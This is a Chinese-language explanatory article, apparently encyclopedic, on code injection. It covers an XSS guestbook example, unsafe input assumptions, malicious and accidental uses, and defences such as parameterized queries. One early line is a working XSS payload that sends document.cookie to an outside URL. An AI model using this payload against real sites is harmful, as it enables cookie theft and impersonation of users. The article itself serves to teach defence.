举例说,有一间公司的网页服务器上有一个留言板的代码,用来让用户发表简短的口信,例如:
hello word!!!!
不过,这个代码原来有漏洞。一个意图入侵者得悉这间公司采用了有问题的代码,于是试图通过留下一条附带有代码的口信,例如:
Nice Site, I think I'll take it.><script>document.location='http://www.cnblogs.com/' +document.cookie</script>
如果另一个用户查看了该页,被注入的代码即运行。该代码可让攻击者扮装成另一个用户。然而这个相同的软件bug可被用户意外的触发,亦即造成该网站暴露 HTML
That post was awesome, :>)
在这个案例里表情符号可造成 HTML 代码不对称,因为不对称的HTML标签被注入到代码里。
大部分这类的问题与哪些可能输入数据,或者特殊数据效果的错误假设相关。一些软件开发员可能犯下危险假设的经范型例如下:
假设某程序接口使用的元字符永远不会在输入中出现;例如假设英文半角标点符号如引号或者半括号永不出现。 假设只有阿拉伯数字字符会当成输入键入。 假设输入永远不会超过固定字段大小。 假设阿拉伯数字只会相等或少于上限。 假设阿拉伯数字只会相等或大于下限。 假设用户端原本服务端提供的默认值 (例如窗体的隐藏字段或者cookie) 无法于用户端被用户修改。这种假设忽略了众所皆知的攻击如cookie下毒:在此cookie值被恶意用户强制设置。 假设从输入端取得指针或者数组索引不会出问题。 假设输入端永远不会提供关于它自己或者其他相关值得虚假信息,例如文件大小
恶意用途的代码注入可包括:
通过SQL注入(见下文)随意修改数据库中的值。影响所及可从某网站外观损毁,到对敏感数据严重的破坏。 当用户拜访恶意网站时,通过网页浏览器或其插件的漏洞安全隐患,进行代码注射,以便安装流氓软件到用户机器上。 通过PHP或者ASP注入安装流氓软件或者运行恶意代码于服务器端。 于UNIX系统利用Shell注入安全隐患对setuid root二进制数据作修改,达成提权到root使用权限的目的。 于视窗系统利用Shell注入安全隐患对系统服务做手脚,达成提权到本地端系统使用权限的目的。 从网页浏览器利用HTML/脚本注入(跨网站脚本)进行连接窃取 / cookies窃取进而冒充他人,取得他人个人敏感数据。
善意使用 某些人可能会出于善意而使用代码注射。例如,通过代码注射以改变或者调试某程序或者系统的行为可以"摆弄"系统以某种方式表现其行为而不怀任何恶意。打比方说:
代码注射可以添入某原本搜索结果页面设计上没有的字段,方便用户。 通过对原本设计默认函数没有曝光的字段赋值,代码注射可提供一个全新的方式来过滤、排序、或者归类数据。 这些人诉诸此种替代手段大致是下面几种原因之一:
对软件中希望改进函数进行润饰的其他方法证明不可能,或者 其他对软件修改的方式代价过高,或者 其他对软件修改的方式过度艰苦。 一般开发社区对以此为目的的代码注射不表欢迎。他们称这种行为为三脚猫、半调子、或者骇 / 黑程序。(kludge or hack)
某些开发者允许或者甚至表扬代码注射的使用来“加强”他们的软件;通常是因为该方案提供了较不昂贵的方式来实现新的或者特殊化的功能。不幸的是,其副作用与无法列管的蕴含式可能相当危险。
一般来说,即使相当善意的代码注射使用都不被建议使用。
非蓄意的用途 某些用户可能会不经意的进行代码注射,因为他们对程序提供的输入没列在当初开发系统者的考虑中。例如:
用户可能视某个包含表示字符或者字符字符串为合法输入,而不知该字符被开发者所保留而有特殊意义 (像 "张三 & 李四" 里的 "&" 字符,或者英文约翰的 M&M 巧克力: "John's M&M's"里头的单引号)。 用户可能会提交格式错乱的文件做为输入。这种行为对单一程序没什么问题,但可能对整个接收系统是灾难。
避免代码注射 要避免代码注射的种种问题,得充分发挥输入输出处理保全,例如:
输入确认。 更换危险字符。例如在PHP通过addslashes()函数保护SQL注入。 输入编码。 输出编码。 采用其他没有饱受代码注入漏洞困扰的编程实现,例如“参数化SQL查询” ("parameterized SQL queries" 又名 "prepared statements" 亦有时称 "bind variables") 。